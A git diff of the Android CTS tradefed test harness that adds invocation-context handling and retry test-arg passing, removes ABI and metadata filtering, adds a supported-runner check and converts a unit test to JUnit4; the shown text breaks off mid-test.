+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java
@@ -26,6 +26,7 @@
import com.android.tradefed.config.OptionSetter;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.invoker.IInvocationContext;
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.result.ITestInvocationListener;
import com.android.tradefed.result.ResultForwarder;
@@ -37,6 +38,7 @@
import com.android.tradefed.testtype.IAbiReceiver;
import com.android.tradefed.testtype.IBuildReceiver;
import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.IInvocationContextReceiver;
import com.android.tradefed.testtype.IRemoteTest;
import com.android.tradefed.testtype.IRuntimeHintProvider;
import com.android.tradefed.testtype.ITestCollector;
@@ -68,6 +70,7 @@
private ITestDevice mDevice;
private Set<String> mPreparerWhitelist = new HashSet<>();
private ConfigurationDescriptor mConfigurationDescriptor;
+ private IInvocationContext mContext;
public ModuleDef(String name, IAbi abi, IRemoteTest test,
List<ITargetPreparer> preparers, ConfigurationDescriptor configurationDescriptor) {
@@ -302,6 +305,9 @@
if (mTest instanceof IDeviceTest) {
((IDeviceTest) mTest).setDevice(mDevice);
}
+ if (mTest instanceof IInvocationContextReceiver) {
+ ((IInvocationContextReceiver) mTest).setInvocationContext(mContext);
+ }
}
/**
@@ -409,4 +415,16 @@
public ConfigurationDescriptor getConfigurationDescriptor() {
return mConfigurationDescriptor;
}
+
+ /**
+ * @return the {@link IInvocationContext} for the module
+ */
+ protected IInvocationContext getInvocationContext() {
+ return mContext;
+ }
+
+ @Override
+ public void setInvocationContext(IInvocationContext invocationContext) {
+ mContext = invocationContext;
+ }
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTest.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTest.java
index 40bf633..a95ebfb 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTest.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTest.java
@@ -16,7 +16,6 @@
package com.android.compatibility.common.tradefed.testtype.retry;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
import com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuite;
import com.android.compatibility.common.tradefed.util.RetryFilterHelper;
import com.android.compatibility.common.tradefed.util.RetryType;
@@ -41,13 +40,14 @@
import com.google.common.annotations.VisibleForTesting;
+import java.util.ArrayList;
import java.util.Collection;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
/**
- * Runner that creates a {@link CompatibilityTest} to re-run some previous results.
+ * Runner that creates a {@link CompatibilityTestSuite} to re-run some previous results.
* Only the 'cts' plan is supported.
* TODO: explore other new way to build the retry (instead of relying on one massive pair of
* include/exclude filters)
@@ -57,50 +57,58 @@
ISystemStatusCheckerReceiver, IInvocationContextReceiver, IShardableTest {
/**
- * Mirror the {@link CompatibilityTest} options in order to create it.
+ * Mirror the {@link CompatibilityTestSuite} options in order to create it.
*/
public static final String RETRY_OPTION = "retry";
+ public static final String RETRY_TYPE_OPTION = "retry-type";
+
@Option(name = RETRY_OPTION,
shortName = 'r',
description = "retry a previous session's failed and not executed tests.",
mandatory = true)
private Integer mRetrySessionId = null;
- @Option(name = CompatibilityTest.SUBPLAN_OPTION,
+ @Option(name = CompatibilityTestSuite.SUBPLAN_OPTION,
description = "the subplan to run",
importance = Importance.IF_UNSET)
protected String mSubPlan;
- @Option(name = CompatibilityTest.INCLUDE_FILTER_OPTION,
+ @Option(name = CompatibilityTestSuite.INCLUDE_FILTER_OPTION,
description = "the include module filters to apply.",
importance = Importance.ALWAYS)
protected Set<String> mIncludeFilters = new HashSet<>();
- @Option(name = CompatibilityTest.EXCLUDE_FILTER_OPTION,
+ @Option(name = CompatibilityTestSuite.EXCLUDE_FILTER_OPTION,
description = "the exclude module filters to apply.",
importance = Importance.ALWAYS)
protected Set<String> mExcludeFilters = new HashSet<>();
- @Option(name = CompatibilityTest.ABI_OPTION,
+ @Option(name = CompatibilityTestSuite.ABI_OPTION,
shortName = 'a',
description = "the abi to test.",
importance = Importance.IF_UNSET)
protected String mAbiName = null;
- @Option(name = CompatibilityTest.MODULE_OPTION,
+ @Option(name = CompatibilityTestSuite.MODULE_OPTION,
shortName = 'm',
description = "the test module to run.",
importance = Importance.IF_UNSET)
protected String mModuleName = null;
- @Option(name = CompatibilityTest.TEST_OPTION,
- shortName = CompatibilityTest.TEST_OPTION_SHORT_NAME,
+ @Option(name = CompatibilityTestSuite.TEST_OPTION,
+ shortName = CompatibilityTestSuite.TEST_OPTION_SHORT_NAME,
description = "the test run.",
importance = Importance.IF_UNSET)
protected String mTestName = null;
- @Option(name = CompatibilityTest.RETRY_TYPE_OPTION,
- description = "used with " + CompatibilityTest.RETRY_OPTION + ", retry tests"
+ @Option(name = CompatibilityTestSuite.TEST_ARG_OPTION,
+ description = "the arguments to pass to a test. The expected format is "
+ + "\"<test-class>:<arg-name>:[<arg-key>:=]<arg-value>\"",
+ importance = Importance.ALWAYS)
+ private List<String> mTestArgs = new ArrayList<>();
+
+ @Option(name = RETRY_TYPE_OPTION,
+ description = "used with " + RETRY_OPTION + ", retry tests"
+ " of a certain status. Possible values include \"failed\" and \"not_executed\".",
importance = Importance.IF_UNSET)
protected RetryType mRetryType = null;
@@ -176,11 +184,9 @@
try {
OptionSetter setter = new OptionSetter(test);
- setter.setOptionValue("compatibility:test-arg",
- "com.android.tradefed.testtype.AndroidJUnitTest:rerun-from-file:true");
- setter.setOptionValue("compatibility:test-arg",
- "com.android.tradefed.testtype.AndroidJUnitTest:fallback-to-serial-rerun:"
- + "false");
+ for (String testArg : mTestArgs) {
+ setter.setOptionValue("compatibility:test-arg", testArg);
+ }
} catch (ConfigurationException e) {
throw new RuntimeException(e);
}
@@ -191,13 +197,17 @@
test.setBuild(mBuildInfo);
test.setSystemStatusChecker(mStatusCheckers);
test.setInvocationContext(mContext);
+ // reset the retry id - Ensure that retry of retry does not throw
+ test.resetRetryId();
// clean the helper
helper.tearDown();
return test;
}
- @VisibleForTesting
- RetryFilterHelper createFilterHelper(CompatibilityBuildHelper buildHelper) {
+ /**
+ * @return a {@link RetryFilterHelper} created from the attributes of this object.
+ */
+ protected RetryFilterHelper createFilterHelper(CompatibilityBuildHelper buildHelper) {
return new RetryFilterHelper(buildHelper, mRetrySessionId, mSubPlan, mIncludeFilters,
mExcludeFilters, mAbiName, mModuleName, mTestName, mRetryType);
}
@@ -206,4 +216,11 @@
CompatibilityTestSuite createTest() {
return new CompatibilityTestSuite();
}
+
+ /**
+ * @return the ID of the session to be retried.
+ */
+ protected Integer getRetrySessionId() {
+ return mRetrySessionId;
+ }
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java
index bb74f23..80758fd 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java
@@ -16,9 +16,9 @@
package com.android.compatibility.common.tradefed.testtype.suite;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
import com.android.compatibility.common.tradefed.testtype.ISubPlan;
import com.android.compatibility.common.tradefed.testtype.SubPlan;
+import com.android.compatibility.common.tradefed.testtype.retry.RetryFactoryTest;
import com.android.compatibility.common.util.TestFilter;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.config.IConfiguration;
@@ -26,16 +26,9 @@
import com.android.tradefed.config.Option.Importance;
import com.android.tradefed.config.OptionClass;
import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.Abi;
import com.android.tradefed.testtype.IAbi;
import com.android.tradefed.testtype.suite.ITestSuite;
-import com.android.tradefed.testtype.suite.TestSuiteInfo;
-import com.android.tradefed.util.AbiFormatter;
-import com.android.tradefed.util.AbiUtils;
import com.android.tradefed.util.ArrayUtil;
-import com.android.tradefed.util.MultiMap;
import com.android.tradefed.util.xml.AbstractXmlParser.ParseException;
import java.io.File;
@@ -43,10 +36,8 @@
import java.io.FileNotFoundException;
import java.io.InputStream;
import java.util.ArrayList;
-import java.util.Arrays;
import java.util.HashSet;
import java.util.LinkedHashMap;
-import java.util.LinkedHashSet;
import java.util.List;
import java.util.Set;
@@ -56,20 +47,17 @@
@OptionClass(alias = "compatibility")
public class CompatibilityTestSuite extends ITestSuite {
- private static final String INCLUDE_FILTER_OPTION = "include-filter";
- private static final String EXCLUDE_FILTER_OPTION = "exclude-filter";
- private static final String SUBPLAN_OPTION = "subplan";
- private static final String MODULE_OPTION = "module";
- private static final String TEST_OPTION = "test";
+ public static final String INCLUDE_FILTER_OPTION = "include-filter";
+ public static final String EXCLUDE_FILTER_OPTION = "exclude-filter";
+ public static final String SUBPLAN_OPTION = "subplan";
+ public static final String MODULE_OPTION = "module";
+ public static final String TEST_ARG_OPTION = "test-arg";
+ public static final String TEST_OPTION = "test";
+ public static final char TEST_OPTION_SHORT_NAME = 't';
private static final String MODULE_ARG_OPTION = "module-arg";
- private static final String TEST_ARG_OPTION = "test-arg";
- private static final String ABI_OPTION = "abi";
- private static final String SKIP_HOST_ARCH_CHECK = "skip-host-arch-check";
- private static final String PRIMARY_ABI_RUN = "primary-abi-only";
- private static final String PRODUCT_CPU_ABI_KEY = "ro.product.cpu.abi";
// TODO: remove this option when CompatibilityTest goes away
- @Option(name = CompatibilityTest.RETRY_OPTION,
+ @Option(name = RetryFactoryTest.RETRY_OPTION,
shortName = 'r',
description = "Copy of --retry from CompatibilityTest to prevent using it.")
private Integer mRetrySessionId = null;
@@ -96,7 +84,7 @@
private String mModuleName = null;
@Option(name = TEST_OPTION,
- shortName = 't',
+ shortName = TEST_OPTION_SHORT_NAME,
description = "the test to run.",
importance = Importance.IF_UNSET)
private String mTestName = null;
@@ -113,38 +101,6 @@
importance = Importance.ALWAYS)
private List<String> mTestArgs = new ArrayList<>();
- @Option(name = ABI_OPTION,
- shortName = 'a',
- description = "the abi to test.",
- importance = Importance.IF_UNSET)
- private String mAbiName = null;
-
- @Option(name = SKIP_HOST_ARCH_CHECK,
- description = "Whether host architecture check should be skipped")
- private boolean mSkipHostArchCheck = false;
-
- @Option(name = PRIMARY_ABI_RUN,
- description = "Whether to run tests with only the device primary abi. "
- + "This override the --abi option.")
- private boolean mPrimaryAbiRun = false;
-
- @Option(name = "module-metadata-include-filter",
- description = "Include modules for execution based on matching of metadata fields: "
- + "for any of the specified filter name and value, if a module has a metadata "
- + "field with the same name and value, it will be included. When both module "
- + "inclusion and exclusion rules are applied, inclusion rules will be "
- + "evaluated first. Using this together with test filter inclusion rules may "
- + "result in no tests to execute if the rules don't overlap.")
- private MultiMap<String, String> mModuleMetadataIncludeFilter = new MultiMap<>();
-
- @Option(name = "module-metadata-exclude-filter",
- description = "Exclude modules for execution based on matching of metadata fields: "
- + "for any of the specified filter name and value, if a module has a metadata "
- + "field with the same name and value, it will be excluded. When both module "
- + "inclusion and exclusion rules are applied, inclusion rules will be "
- + "evaluated first.")
- private MultiMap<String, String> mModuleMetadataExcludeFilter = new MultiMap<>();
-
private ModuleRepoSuite mModuleRepo = new ModuleRepoSuite();
private CompatibilityBuildHelper mBuildHelper;
@@ -163,8 +119,7 @@
// Initialize the repository, {@link CompatibilityBuildHelper#getTestsDir} can
// throw a {@link FileNotFoundException}
return mModuleRepo.loadConfigs(mBuildHelper.getTestsDir(),
- abis, mTestArgs, mModuleArgs, mIncludeFilters,
- mExcludeFilters, mModuleMetadataIncludeFilter, mModuleMetadataExcludeFilter);
+ abis, mTestArgs, mModuleArgs, mIncludeFilters, mExcludeFilters);
} catch (DeviceNotAvailableException | FileNotFoundException e) {
throw new RuntimeException(e);
}
@@ -180,64 +135,6 @@
}
/**
- * Gets the set of ABIs supported by both Compatibility and the device under test
- *
- * @return The set of ABIs to run the tests on
- * @throws DeviceNotAvailableException
- */
- Set<IAbi> getAbis(ITestDevice device) throws DeviceNotAvailableException {
- Set<IAbi> abis = new LinkedHashSet<>();
- Set<String> archAbis = getAbisForBuildTargetArch();
- if (mPrimaryAbiRun) {
- if (mAbiName == null) {
- // Get the primary from the device and make it the --abi to run.
- mAbiName = device.getProperty(PRODUCT_CPU_ABI_KEY).trim();
- } else {
- CLog.d("Option --%s supersedes the option --%s, using abi: %s", ABI_OPTION,
- PRIMARY_ABI_RUN, mAbiName);
- }
- }
- if (mAbiName != null) {
- // A particular abi was requested, it still needs to be supported by the build.
- if ((!mSkipHostArchCheck && !archAbis.contains(mAbiName)) ||
- !AbiUtils.isAbiSupportedByCompatibility(mAbiName)) {
- throw new IllegalArgumentException(String.format("Your CTS hasn't been built with "
- + "abi '%s' support, this CTS currently supports '%s'.",
- mAbiName, archAbis));
- } else {
- abis.add(new Abi(mAbiName, AbiUtils.getBitness(mAbiName)));
- return abis;
- }
- } else {
- // Run on all abi in common between the device and CTS.
- List<String> deviceAbis = Arrays.asList(AbiFormatter.getSupportedAbis(device, ""));
- for (String abi : deviceAbis) {
- if ((mSkipHostArchCheck || archAbis.contains(abi)) &&
- AbiUtils.isAbiSupportedByCompatibility(abi)) {
- abis.add(new Abi(abi, AbiUtils.getBitness(abi)));
- } else {
- CLog.d("abi '%s' is supported by device but not by this CTS build (%s), tests "
- + "will not run against it.", abi, archAbis);
- }
- }
- if (abis.isEmpty()) {
- throw new IllegalArgumentException(String.format("None of the abi supported by this"
- + " CTS build ('%s') are supported by the device ('%s').",
- archAbis, deviceAbis));
- }
- return abis;
- }
- }
-
- /**
- * Return the abis supported by the Host build target architecture.
- * Exposed for testing.
- */
- protected Set<String> getAbisForBuildTargetArch() {
- return AbiUtils.getAbisForArch(TestSuiteInfo.getInstance().getTargetArch());
- }
-
- /**
* Sets the include/exclude filters up based on if a module name was given or whether this is a
* retry run.
*/
@@ -273,7 +170,8 @@
String moduleName = modules.get(0);
checkFilters(mIncludeFilters, moduleName);
checkFilters(mExcludeFilters, moduleName);
- mIncludeFilters.add(new TestFilter(mAbiName, moduleName, mTestName).toString());
+ mIncludeFilters.add(new TestFilter(getRequestedAbi(), moduleName, mTestName)
+ .toString());
}
} else if (mTestName != null) {
throw new IllegalArgumentException(
@@ -306,4 +204,11 @@
public void setExcludeFilter(Set<String> excludeFilters) {
mExcludeFilters.addAll(excludeFilters);
}
+
+ /**
+ * Allow to reset the requested session id for retry.
+ */
+ public void resetRetryId() {
+ mRetrySessionId = null;
+ }
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuite.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuite.java
index a889330..9693ce0 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuite.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuite.java
@@ -30,7 +30,6 @@
import com.android.tradefed.testtype.ITestFilterReceiver;
import com.android.tradefed.util.AbiUtils;
import com.android.tradefed.util.FileUtil;
-import com.android.tradefed.util.MultiMap;
import com.android.tradefed.util.StreamUtil;
import java.io.File;
@@ -42,7 +41,6 @@
import java.util.Collection;
import java.util.Collections;
import java.util.HashMap;
-import java.util.HashSet;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
@@ -67,9 +65,7 @@
*/
public LinkedHashMap<String, IConfiguration> loadConfigs(File testsDir, Set<IAbi> abis,
List<String> testArgs, List<String> moduleArgs,
- Set<String> includeFilters, Set<String> excludeFilters,
- MultiMap<String, String> metadataIncludeFilters,
- MultiMap<String, String> metadataExcludeFilters) {
+ Set<String> includeFilters, Set<String> excludeFilters) {
CLog.d("Initializing ModuleRepo\nTests Dir:%s\nABIs:%s\n" +
"Test Args:%s\nModule Args:%s\nIncludes:%s\nExcludes:%s",
testsDir.getAbsolutePath(), abis, testArgs, moduleArgs,
@@ -108,12 +104,6 @@
continue;
}
IConfiguration config = mConfigFactory.createConfigurationFromArgs(pathArg);
- if (!filterByConfigMetadata(config,
- metadataIncludeFilters, metadataExcludeFilters)) {
- // if the module config did not pass the metadata filters, it's excluded
- // from execution
- continue;
- }
Map<String, List<String>> args = new HashMap<>();
if (mModuleArgs.containsKey(name)) {
args.putAll(mModuleArgs.get(name));
@@ -176,47 +166,6 @@
}
}
- @VisibleForTesting
- protected boolean filterByConfigMetadata(IConfiguration config,
- MultiMap<String, String> include, MultiMap<String, String> exclude) {
- MultiMap<String, String> metadata = config.getConfigurationDescription().getAllMetaData();
- boolean shouldInclude = false;
- for (String key : include.keySet()) {
- Set<String> filters = new HashSet<>(include.get(key));
- if (metadata.containsKey(key)) {
- filters.retainAll(metadata.get(key));
- if (!filters.isEmpty()) {
- // inclusion filter is not empty and there's at least one matching inclusion
- // rule so there's no need to match other inclusion rules
- shouldInclude = true;
- break;
- }
- }
- }
- if (!include.isEmpty() && !shouldInclude) {
- // if inclusion filter is not empty and we didn't find a match, the module will not be
- // included
- return false;
- }
- // Now evaluate exclusion rules, this ordering also means that exclusion rules may override
- // inclusion rules: a config already matched for inclusion may still be excluded if matching
- // rules exist
- for (String key : exclude.keySet()) {
- Set<String> filters = new HashSet<>(exclude.get(key));
- if (metadata.containsKey(key)) {
- filters.retainAll(metadata.get(key));
- if (!filters.isEmpty()) {
- // we found at least one matching exclusion rules, so we are excluding this
- // this module
- return false;
- }
- }
- }
- // we've matched at least one inclusion rule (if there's any) AND we didn't match any of the
- // exclusion rules (if there's any)
- return true;
- }
-
/**
* @return the {@link List} of modules whose name contains the given pattern.
*/
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java
index c9d9cbe..24bca49 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java
@@ -32,14 +32,12 @@
import com.android.compatibility.common.tradefed.result.SubPlanHelperTest;
import com.android.compatibility.common.tradefed.targetprep.PropertyCheckTest;
import com.android.compatibility.common.tradefed.targetprep.SettingsPreparerTest;
-import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBaseTest;
import com.android.compatibility.common.tradefed.testtype.CompatibilityTestTest;
import com.android.compatibility.common.tradefed.testtype.JarHostTestTest;
import com.android.compatibility.common.tradefed.testtype.ModuleDefTest;
import com.android.compatibility.common.tradefed.testtype.ModuleRepoTest;
import com.android.compatibility.common.tradefed.testtype.SubPlanTest;
import com.android.compatibility.common.tradefed.testtype.retry.RetryFactoryTestTest;
-import com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuiteTest;
import com.android.compatibility.common.tradefed.testtype.suite.ModuleRepoSuiteTest;
import com.android.compatibility.common.tradefed.util.CollectorUtilTest;
import com.android.compatibility.common.tradefed.util.DynamicConfigFileReaderTest;
@@ -88,7 +86,6 @@
SettingsPreparerTest.class,
// testtype
- CompatibilityHostTestBaseTest.class,
CompatibilityTestTest.class,
JarHostTestTest.class,
ModuleDefTest.class,
@@ -99,7 +96,6 @@
RetryFactoryTestTest.class,
// testype.suite
- CompatibilityTestSuiteTest.class,
ModuleRepoSuiteTest.class,
// util
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
index bcc82ac9..6b9cc5e 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
@@ -79,6 +79,22 @@
));
/**
+ * List of the officially supported runners in CTS, they meet all the interfaces criteria as
+ * well as support sharding very well. Any new addition should go through a review.
+ */
+ private static final Set<String> SUPPORTED_CTS_TEST_TYPE = new HashSet<>(Arrays.asList(
+ // Cts runners
+ "com.android.compatibility.common.tradefed.testtype.JarHostTest",
+ "com.android.compatibility.testtype.DalvikTest",
+ "com.android.compatibility.testtype.LibcoreTest",
+ "com.drawelements.deqp.runner.DeqpTestRunner",
+ // Tradefed runners
+ "com.android.tradefed.testtype.AndroidJUnitTest",
+ "com.android.tradefed.testtype.HostTest",
+ "com.android.tradefed.testtype.GTest"
+ ));
+
+ /**
* Test that configuration shipped in Tradefed can be parsed.
* -> Exclude deprecated ApkInstaller.
* -> Check if host-side tests are non empty.
@@ -121,6 +137,12 @@
}
// We can ensure that Host side tests are not empty.
for (IRemoteTest test : c.getTests()) {
+ // Check that all the tests runners are well supported.
+ if (!SUPPORTED_CTS_TEST_TYPE.contains(test.getClass().getCanonicalName())) {
+ throw new ConfigurationException(
+ String.format("testtype %s is not officially supported by CTS.",
+ test.getClass().getCanonicalName()));
+ }
if (test instanceof HostTest) {
HostTest hostTest = (HostTest) test;
// We inject a made up folder so that it can find the tests.
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBaseTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBaseTest.java
deleted file mode 100644
index 66d05fc..0000000
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBaseTest.java
+++ /dev/null
@@ -1,101 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.tradefed.testtype;
-
-import com.android.ddmlib.IDevice;
-import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.ddmlib.testrunner.TestRunResult;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.result.CollectingTestListener;
-import com.android.tradefed.result.ITestInvocationListener;
-import com.android.tradefed.result.JUnit4ResultForwarder;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.IDeviceTest;
-
-import junit.framework.TestCase;
-
-import org.easymock.EasyMock;
-import org.junit.Test;
-import org.junit.runner.JUnitCore;
-import org.junit.runner.Request;
-import org.junit.runner.RunWith;
-import org.junit.runner.Runner;
-
-import java.util.Collections;
-
-/**
- * Tests for the CompatibilityHostTestBase class.
- */
-public class CompatibilityHostTestBaseTest extends TestCase {
-
- private static final String DEVICE_TEST_PKG = "com.android.foo";
-
- @RunWith(DeviceJUnit4ClassRunner.class)
- public static class MockTest extends CompatibilityHostTestBase {
-
- @Test
- public void testRunDeviceTests() throws Exception {
- runDeviceTests(DEVICE_TEST_PKG, null, null);
- }
-
- @Override
- protected CollectingTestListener createCollectingListener() {
- return new CollectingTestListener() {
- @Override
- public TestRunResult getCurrentRunResults() {
- TestRunResult result = new TestRunResult();
- TestIdentifier t1 = new TestIdentifier("class1", "test1");
- result.testStarted(t1);
- result.testEnded(t1, Collections.emptyMap());
- return result;
- }
- };
- }
-
- }
-
- public void testRunMockDeviceTests() throws Exception {
- final TestIdentifier testRunDeviceTests =
- new TestIdentifier(MockTest.class.getName(), "testRunDeviceTests");
-
- ITestInvocationListener listener = EasyMock.createStrictMock(ITestInvocationListener.class);
- ITestDevice device = EasyMock.createMock(ITestDevice.class);
-
- listener.testStarted(testRunDeviceTests);
- EasyMock.expect(device.getIDevice()).andReturn(EasyMock.createMock(IDevice.class)).once();
- EasyMock.expect(device.runInstrumentationTests((RemoteAndroidTestRunner)
- EasyMock.anyObject(), (CollectingTestListener) EasyMock.anyObject())).andReturn(
- true).once();
- listener.testEnded(testRunDeviceTests, Collections.emptyMap());
- EasyMock.replay(listener, device);
-
- JUnitCore runnerCore = new JUnitCore();
- runnerCore.addListener(new JUnit4ResultForwarder(listener));
- Runner checkRunner = Request.aClass(MockTest.class).getRunner();
- ((IDeviceTest) checkRunner).setDevice(device);
- ((IBuildReceiver) checkRunner).setBuild(EasyMock.createMock(IBuildInfo.class));
- ((IAbiReceiver) checkRunner).setAbi(EasyMock.createMock(IAbi.class));
- runnerCore.run(checkRunner);
- EasyMock.verify(listener, device);
- }
-
-}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/JarHostTestTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/JarHostTestTest.java
index a06bca0..064cee4 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/JarHostTestTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/JarHostTestTest.java
@@ -15,19 +15,28 @@
*/
package com.android.compatibility.common.tradefed.testtype;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.TestIdentifier;
import com.android.tradefed.build.BuildInfo;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.config.OptionSetter;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.result.ITestInvocationListener;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner.TestMetrics;
import com.android.tradefed.testtype.HostTest;
import com.android.tradefed.testtype.IRemoteTest;
import com.android.tradefed.util.FileUtil;
-import junit.framework.TestCase;
-
import org.easymock.EasyMock;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.JUnit4;
@@ -39,17 +48,21 @@
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Arrays;
+import java.util.HashMap;
import java.util.List;
+import java.util.Map;
/**
* Unit tests for {@link JarHostTest}.
*/
-public class JarHostTestTest extends TestCase {
+@RunWith(JUnit4.class)
+public class JarHostTestTest {
private static final String TEST_JAR1 = "/testtype/testJar1.jar";
private static final String TEST_JAR2 = "/testtype/testJar2.jar";
private JarHostTest mTest;
private File mTestDir = null;
+ private ITestInvocationListener mListener;
/**
* More testable version of {@link JarHostTest}
@@ -74,23 +87,16 @@
}
}
- /**
- * {@inheritDoc}
- */
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
mTest = new JarHostTest();
mTestDir = FileUtil.createTempDir("jarhostest");
+ mListener = EasyMock.createMock(ITestInvocationListener.class);
}
- /**
- * {@inheritDoc}
- */
- @Override
- protected void tearDown() throws Exception {
+ @After
+ public void tearDown() throws Exception {
FileUtil.recursiveDelete(mTestDir);
- super.tearDown();
}
/**
@@ -123,13 +129,18 @@
@RunWith(JUnit4.class)
public static class Junit4TestClass2 {
public Junit4TestClass2() {}
+ @Rule public TestMetrics metrics = new TestMetrics();
+
@org.junit.Test
- public void testPass2() {}
+ public void testPass2() {
+ metrics.addTestMetric("key", "value");
+ }
}
/**
* Test that {@link JarHostTest#split()} inherited from {@link HostTest} is still good.
*/
+ @Test
public void testSplit_withoutJar() throws Exception {
OptionSetter setter = new OptionSetter(mTest);
setter.setOptionValue("class", "com.android.compatibility.common.tradefed.testtype."
@@ -146,6 +157,7 @@
/**
* Test that {@link JarHostTest#split()} can split classes coming from a jar.
*/
+ @Test
public void testSplit_withJar() throws Exception {
File testJar = getJarResource(TEST_JAR1, mTestDir);
mTest = new JarHostTestable(mTestDir);
@@ -165,6 +177,7 @@
/**
* Test that {@link JarHostTest#getTestShard(int, int)} can split classes coming from a jar.
*/
+ @Test
public void testGetTestShard_withJar() throws Exception {
File testJar = getJarResource(TEST_JAR2, mTestDir);
mTest = new JarHostTestLoader(mTestDir, testJar);
@@ -259,4 +272,45 @@
return child;
}
}
+
+ /**
+ * If a jar file is not found, the countTest will fail but we still want to report a
+ * testRunStart and End pair for results.
+ */
+ @Test
+ public void testCountTestFails() throws Exception {
+ OptionSetter setter = new OptionSetter(mTest);
+ setter.setOptionValue("jar", "thisjardoesnotexistatall.jar");
+ mListener.testRunStarted(EasyMock.anyObject(), EasyMock.eq(0));
+ mListener.testRunEnded(EasyMock.anyLong(), EasyMock.anyObject());
+ EasyMock.replay(mListener);
+ try {
+ mTest.run(mListener);
+ fail("Should have thrown an exception.");
+ } catch(RuntimeException expected) {
+ // expected
+ }
+ EasyMock.verify(mListener);
+ }
+
+ /**
+ * Test that metrics from tests in JarHost are reported and accounted for.
+ */
+ @Test
+ public void testJarHostMetrics() throws Exception {
+ OptionSetter setter = new OptionSetter(mTest);
+ setter.setOptionValue("class", "com.android.compatibility.common.tradefed.testtype."
+ + "JarHostTestTest$Junit4TestClass2");
